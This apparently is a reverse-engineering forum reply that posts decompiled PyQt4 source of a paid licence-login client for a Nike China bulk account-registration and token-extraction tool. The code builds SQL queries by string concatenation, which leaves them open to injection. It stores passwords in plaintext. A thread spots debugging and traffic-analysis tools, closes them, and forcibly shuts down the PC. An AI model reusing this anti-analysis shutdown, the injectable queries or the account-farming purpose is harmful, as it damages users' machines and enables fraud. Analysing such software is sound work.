能力值:
( LV2,RANK:10 )
|
-
-
2 楼
这个是个python程序
import base64, uuid, os, time, datetime
from datetime import timedelta
from PyQt4.QtGui import QDialog
from PyQt4 import QtGui
from PyQt4 import QtCore
from PyQt4.QtCore import pyqtSignature, QRegExp
import webbrowser
from Ui_UserLogin import Ui_Dialog
import DBmysql, LogPrint, IPinfo
from win32gui import *
import win32con, sys
reload(sys)
sys.setdefaultencoding('utf8')
DB_MYSQL = DBmysql.ConnectMySQL()
class LoginDialog(QDialog, Ui_Dialog):
"""
Class documentation goes here.
"""
def __init__(self, parent=None):
"""
Constructor
"""
QDialog.__init__(self, parent)
self.setupUi(self)
self.versionNo = 'V1.2'
self.oldVersion = False
self.setWindowIcon(QtGui.QIcon(':/myicon.ico'))
self.setWindowTitle(u'\u8010\u514b\u4e2d\u56fd\u6ce8\u518c\u673a+\u7ed1\u53f7\u673a+\u63d0\u53d6Token+\u8bbe\u7f6e\u5730\u5740--\u5c0f\u7334\u5b50')
self.le_name.setPlaceholderText(u'\u7528\u6237\u540d')
self.le_password.setPlaceholderText(u'\u5bc6\u7801')
regExp = QRegExp('[a-zA-Z0-9_]+')
self.le_name.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_password.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_zcName.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_zcPass.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_zcPass2.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_czName.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_czPass.setValidator(QtGui.QRegExpValidator(regExp, self))
self.le_czCard.setValidator(QtGui.QRegExpValidator(regExp, self))
if os.path.exists('lUSHEN_USER.TXT'):
fileHandle = open('lUSHEN_USER.TXT')
lineList = fileHandle.readlines()
fileHandle.close()
if len(lineList) >= 1:
self.le_name.setText(lineList[0])
if len(lineList) >= 2:
self.le_password.setText(lineList[1])
VersionNo = DB_MYSQL.selectOneList("select value from tb_common_qiandao where code='version'")
if VersionNo == 'error':
return
LogPrint.printLog('\xe6\x9c\x8d\xe5\x8a\xa1\xe7\x89\x88\xe6\x9c\xac\xe5\x8f\xb7\xef\xbc\x9a' + VersionNo['value'])
if self.versionNo != VersionNo['value']:
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u5f53\u524d\u4e0d\u662f\u6700\u65b0\u7248\u672c\uff0c\u8bf7\u4e0b\u8f7d\u6700\u65b0\u7248\u672c')
url = 'http://pan.baidu.com/s/1hrTuXms'
webbrowser.open(url, new=0, autoraise=True)
self.oldVersion = True
return
ip_gsd = IPinfo.getIP()
self.ip_str = str(ip_gsd[3])
self.ip_gsd_str = str(ip_gsd[0] + ip_gsd[1] + ip_gsd[2])
self.jiQiMa = self.get_mac_address()
self.le_JiQiMa.setText(self.jiQiMa)
self.start_game = GameOverTimeHandler()
self.start_game.start()
def get_mac_address(self):
node = uuid.getnode()
mac = uuid.UUID(int=node).hex[-12:]
base64_mac = base64.b64encode(mac)
return base64_mac
@pyqtSignature('')
def on_commandLinkButton_clicked(self):
url = 'http://t.cn/RTawWMc'
webbrowser.open(url, new=0, autoraise=True)
@pyqtSignature('')
def on_pushButton_tryUser_clicked(self):
loginName = self.le_name.text()
loginPass = self.le_password.text()
try:
loginFlag, messg, nameok, endtimeok, proxyname, createtimeok = shiyong(str(loginName).strip(), str(loginPass).strip())
except Exception as e:
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u8bf7\u518d\u6b21\u6253\u5f00\u8f6f\u4ef6\u5c1d\u8bd5\uff0c\u8c22\u8c22\uff01\u5c0f\u7334\u5b50\u795d\u60a8\u751f\u6d3b\u6109\u5feb\uff01')
if loginFlag:
fileHandle = open('lUSHEN_USER.TXT', 'w')
fileHandle.write(str(loginName).strip() + '\n' + str(loginPass).strip())
fileHandle.close()
self.nameok = str(nameok).strip()
self.endtimeok = '0'
self.proxyname = '\xe8\xaf\x95\xe7\x94\xa8\xe7\x94\xa8\xe6\x88\xb7'
self.createtimeok = str(createtimeok).strip()
self.accept()
else:
if messg == 'timeout':
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u8bf7\u8d2d\u4e70\u5361\u5bc6')
else:
QtGui.QMessageBox.critical(self, u'\u9519\u8bef', u'\u7528\u6237\u540d\u5bc6\u7801\u4e0d\u5339\u914d')
@pyqtSignature('')
def on_btn_login_clicked(self):
if self.oldVersion == True:
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u5f53\u524d\u4e0d\u662f\u6700\u65b0\u7248\u672c\uff0c\u8bf7\u4e0b\u8f7d\u6700\u65b0\u7248\u672c\uff1aQQ\u7fa4\uff1a701788997')
return
loginName = self.le_name.text()
loginPass = self.le_password.text()
loginFlag = False
try:
loginFlag, messg, nameok, endtimeok, proxyname, createtimeok = denglu(str(loginName).strip(), str(loginPass).strip(), self.jiQiMa)
except Exception as e:
print str(e)
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u8bf7\u518d\u6b21\u6253\u5f00\u8f6f\u4ef6\u5c1d\u8bd5\uff0c\u8c22\u8c22\uff01\u5c0f\u7334\u5b50\u795d\u60a8\u751f\u6d3b\u6109\u5feb\uff01')
return
if loginFlag:
fileHandle = open('lUSHEN_USER.TXT', 'w')
fileHandle.write(str(loginName).strip() + '\n' + str(loginPass).strip())
fileHandle.close()
self.nameok = str(nameok).strip()
self.endtimeok = str(endtimeok).strip()
self.proxyname = str(proxyname).strip()
self.createtimeok = str(createtimeok).strip()
self.start_game.stop()
self.accept()
else:
if messg == 'timeout':
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u8bf7\u8d2d\u4e70\u5361\u5bc6')
else:
if messg == 'macError':
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u7528\u6237\u5df2\u7ecf\u7ed1\u5b9a\u5176\u4ed6\u673a\u5668\uff0c\u4e00\u4e2a\u6708\u514d\u8d39\u6362\u7ed12\u6b21\uff0c\u6bcf\u6b21\u6682\u5b9a\u6536\u8d391\u5143\uff0c\u9700\u8981\u627e\u5e08\u7236\u6362\u7ed1\uff01')
else:
QtGui.QMessageBox.critical(self, u'\u9519\u8bef', u'\u7528\u6237\u540d\u5bc6\u7801\u4e0d\u5339\u914d')
@pyqtSignature('')
def on_btn_zc_clicked(self):
zcName = self.le_zcName.text()
zcPass = self.le_zcPass.text()
zcPass2 = self.le_zcPass2.text()
print zcName
if str(zcName).strip() == '' or str(zcPass).strip() == '':
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u7528\u6237\u540d\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a\uff01')
else:
if str(zcPass).strip() != str(zcPass2).strip():
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837\uff01')
else:
try:
UserCount = DB_MYSQL.selectOneList("SELECT count(*) conutnum FROM tb_user_qiandao where name='" + str(zcName).strip() + "'")
if UserCount['conutnum'] == 0:
sql = 'SELECT SYSDATE() nowtime from dual'
serverTime = DB_MYSQL.selectOneList(sql)
nowTime = serverTime['nowtime']
nowTime = str(nowTime)
sql = "INSERT INTO tb_user_qiandao(name,pass,createtime,endtime,ip,ipaddress) VALUES('" + str(zcName).strip() + "','" + str(zcPass).strip() + "','" + nowTime + "','" + nowTime + "','" + self.ip_str + "','" + self.ip_gsd_str + "')"
DB_MYSQL.inserOneDate(sql)
QtGui.QMessageBox.information(self, u'\u606d\u559c', u'\u606d\u559c\u6ce8\u518c\u6210\u529f\uff01')
else:
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u8be5\u7528\u6237\u540d\u5df2\u7ecf\u88ab\u4f7f\u7528\uff0c\u8bf7\u4fee\u6539\u7528\u6237\u540d\uff01')
except Exception as e:
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u8bf7\u518d\u6b21\u6253\u5f00\u8f6f\u4ef6\u5c1d\u8bd5\uff0c\u8c22\u8c22\uff01\u5c0f\u7334\u5b50\u795d\u60a8\u751f\u6d3b\u6109\u5feb\uff01 ')
@pyqtSignature('')
def on_btn_cz_clicked(self):
czName = self.le_czName.text()
czPass = self.le_czPass.text()
czCard = self.le_czCard.text()
if str(czName).strip() == '' or str(czPass).strip() == '' or str(czCard).strip() == '':
QtGui.QMessageBox.information(self, u'\u63d0\u793a', u'\u7528\u6237\u540d\u3001\u5bc6\u7801\u3001\u5361\u5bc6\u4e0d\u80fd\u4e3a\u7a7a\uff01')
else:
try:
czFlag, messge = chongzhi(str(czName).strip(), str(czPass).strip(), str(czCard).strip())
if czFlag:
QtGui.QMessageBox.information(self, u'\u606d\u559c', u'\u606d\u559c\u5145\u503c\u6210\u529f\uff01')
else:
if messge == 'nameError':
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u8be5\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\uff01')
else:
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u5361\u5bc6\u9519\u8bef\u6216\u8005\u5df2\u7ecf\u4f7f\u7528\uff01')
except Exception as e:
QtGui.QMessageBox.critical(self, u'\u63d0\u793a', u'\u8bf7\u518d\u6b21\u6253\u5f00\u8f6f\u4ef6\u5c1d\u8bd5\uff0c\u8c22\u8c22\uff01\u5c0f\u7334\u5b50\u795d\u60a8\u751f\u6d3b\u6109\u5feb\uff01 ')
def chongzhi(username, password, cardNO):
sql = "SELECT count(*) conutnum,t.endtime FROM tb_user_qiandao t where t.name='" + username + "' and t.pass='" + password + "'"
usersCount = DB_MYSQL.selectOneList(sql)
if usersCount['conutnum'] == 1:
sql = 'SELECT SYSDATE() nowtime from dual'
serverTime = DB_MYSQL.selectOneList(sql)
nowTime = serverTime['nowtime']
user_time = time.strptime(usersCount['endtime'], '%Y-%m-%d %H:%M:%S')
a_datetime = nowTime
b_datetime = datetime.datetime(*user_time[:6])
print b_datetime - a_datetime
if b_datetime > a_datetime:
sql = "SELECT count(*) conutnum,t.value,t.card,t.isused,t.proxyname FROM tb_card_qiandao t where t.card='" + cardNO + "' and t.isused='0'"
cardCount = DB_MYSQL.selectOneList(sql)
if cardCount['conutnum'] == 0:
return (False, 'cardError')
cardvalue = int(cardCount['value'])
endtime = b_datetime + timedelta(days=cardvalue)
DB_MYSQL.updateOneDate("UPDATE tb_user_qiandao set endtime = '" + str(endtime) + "',proxyname='" + str(cardCount['proxyname']) + "' where name='" + username + "'")
DB_MYSQL.updateOneDate("UPDATE tb_card_qiandao set isused = '" + username + "' where card='" + cardNO + "'")
return (
True, 'cardSuccess')
else:
cardCount = DB_MYSQL.selectOneList("SELECT count(*) conutnum,t.value,t.card,t.isused,t.proxyname FROM tb_card_qiandao t where t.card='" + cardNO + "' and t.isused='0'")
if cardCount['conutnum'] == 0:
return (False, 'cardError')
cardvalue = int(cardCount['value'])
endtime = a_datetime + timedelta(days=cardvalue)
strendtime = str(endtime)
print strendtime
DB_MYSQL.updateOneDate("UPDATE tb_user_qiandao set endtime = '" + strendtime + "',proxyname='" + str(cardCount['proxyname']) + "' where name='" + username + "'")
DB_MYSQL.updateOneDate("UPDATE tb_card_qiandao set isused = '" + username + "' where card='" + cardNO + "'")
return (
True, 'cardSuccess')
else:
return (
False, 'nameError')
def denglu(name, password, jiQiMa):
usersCount = DB_MYSQL.selectOneList("SELECT count(*) countnum,t.name,t.endtime,t.proxyname,t.createtime FROM tb_user_qiandao t where t.name='" + name + "' and t.pass='" + password + "'")
if usersCount['countnum'] == 1:
sql = 'SELECT SYSDATE() nowtime from dual'
serverTime = DB_MYSQL.selectOneList(sql)
nowTime = serverTime['nowtime']
user_time = time.strptime(usersCount['endtime'], '%Y-%m-%d %H:%M:%S')
a_datetime = nowTime
b_datetime = datetime.datetime(*user_time[:6])
print b_datetime - a_datetime
if b_datetime > a_datetime:
successInFo = (
True, 'success', usersCount['name'], usersCount['endtime'], usersCount['proxyname'],
usersCount['createtime'])
macCount = DB_MYSQL.selectOneList("SELECT count(*) countnum,mac,cishu FROM tb_mac_qiandao t where t.name='" + name + "'")
if macCount['countnum'] == 0:
sql = "INSERT INTO tb_mac_qiandao(name,mac,date) VALUES('" + name + "','" + str(jiQiMa) + "','" + str(nowTime) + "')"
DB_MYSQL.inserOneDate(sql)
else:
mac_str = str(macCount['mac'])
mac_count = mac_str.count(',') + 1
cishu = macCount['cishu']
if mac_count > 0 and mac_count < cishu:
if mac_str.find(str(jiQiMa)) >= 0:
print 'XiaoHouZi WILL BE WITH U'
sql = "UPDATE tb_mac_qiandao SET date=str_to_date('%s','%%Y-%%m-%%d') WHERE name='%s'" % (
nowTime.strftime('%Y-%m-%d'), name)
else:
new_mac = mac_str + ',' + str(jiQiMa)
sql = "UPDATE tb_mac_qiandao SET mac='%s',date=str_to_date('%s','%%Y-%%m-%%d') WHERE name='%s'" % (
str(new_mac), nowTime.strftime('%Y-%m-%d'), name)
else:
if mac_str.find(str(jiQiMa)) >= 0:
print 'XiaoHouZi WILL BE WITH U'
sql = "UPDATE tb_mac_qiandao SET date=str_to_date('%s','%%Y-%%m-%%d') WHERE name='%s'" % (
nowTime.strftime('%Y-%m-%d'), name)
else:
sql = "UPDATE tb_mac_qiandao SET mac='%s',date=str_to_date('%s','%%Y-%%m-%%d') WHERE name='%s'" % (str(jiQiMa), nowTime.strftime('%Y-%m-%d'), name)
DB_MYSQL.updateOneDate(sql)
return successInFo
return (
False, 'timeout', '', '', '', '')
else:
return (
False, 'nameError', '', '', '', '')
def shiyong(name, password):
usersCount = DB_MYSQL.selectOneList("SELECT count(*) countnum,t.name,t.endtime,t.proxyname,t.createtime FROM tb_user_qiandao t where t.name='" + name + "' and t.pass='" + password + "'")
if usersCount['countnum'] == 1:
return (
True, 'success', usersCount['name'], usersCount['endtime'], usersCount['proxyname'], usersCount['createtime'])
return (
False, 'nameError', '', '', '', '')
class GameOverTimeHandler(QtCore.QThread):
def __init__(self, parent=None):
super(GameOverTimeHandler, self).__init__(parent)
def run(self):
self.flag = 1
while self.flag == 1:
print 'GOOD LUCK TO YOU!'
print ('\n').join([ ('').join([ 'XiaoHouZi'[(x - y) % 8] if ((x * 0.05) ** 2 + (y * 0.1) ** 2 - 1) ** 3 - (x * 0.05) ** 2 * (y * 0.1) ** 3 <= 0 else ' ' for x in range(-30, 30) ]) for y in range(15, -15, -1)
])
time.sleep(2)
if len(self.getWindows()) > 0:
time.sleep(2)
print u'\u8bf7\u52ff\u5206\u6790\u672c\u8f6f\u4ef6\uff0c\u540e\u679c\u81ea\u8d1f\uff01'
os.system('shutdown -s -f -t 1')
def stop(self):
self.flag = 0
def getWindows(self):
self.WeixinNameList = []
self.WindowsNameClass = []
EnumWindows(self.foo, 0)
return self.WindowsNameClass
def foo(self, hwnd, mouse):
if IsWindow(hwnd) and IsWindowEnabled(hwnd) and IsWindowVisible(hwnd):
if GetClassName(hwnd).find('Analyzer') >= 0 or GetWindowText(hwnd).find('Fiddler') >= 0 or GetWindowText(hwnd).find('OllyDbg') >= 0 or GetWindowText(hwnd).find('Spy') >= 0 or GetWindowText(hwnd).find('Wireshark') >= 0:
self.WindowsNameClass.append({'titleName': GetWindowText(hwnd), 'className': GetClassName(hwnd)})
SetForegroundWindow(hwnd)
PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
if __name__ == '__main__':
import sys
sql = 'SELECT SYSDATE() nowtime from dual'
serverTime = DB_MYSQL.selectOneList(sql)
nowTime = serverTime['nowtime']
nowTime = str(nowTime)
print type(nowTime)
print nowTime
出现的字符与软体介面的一致 只是一个打包好的python程序 先解包再反编译就是
|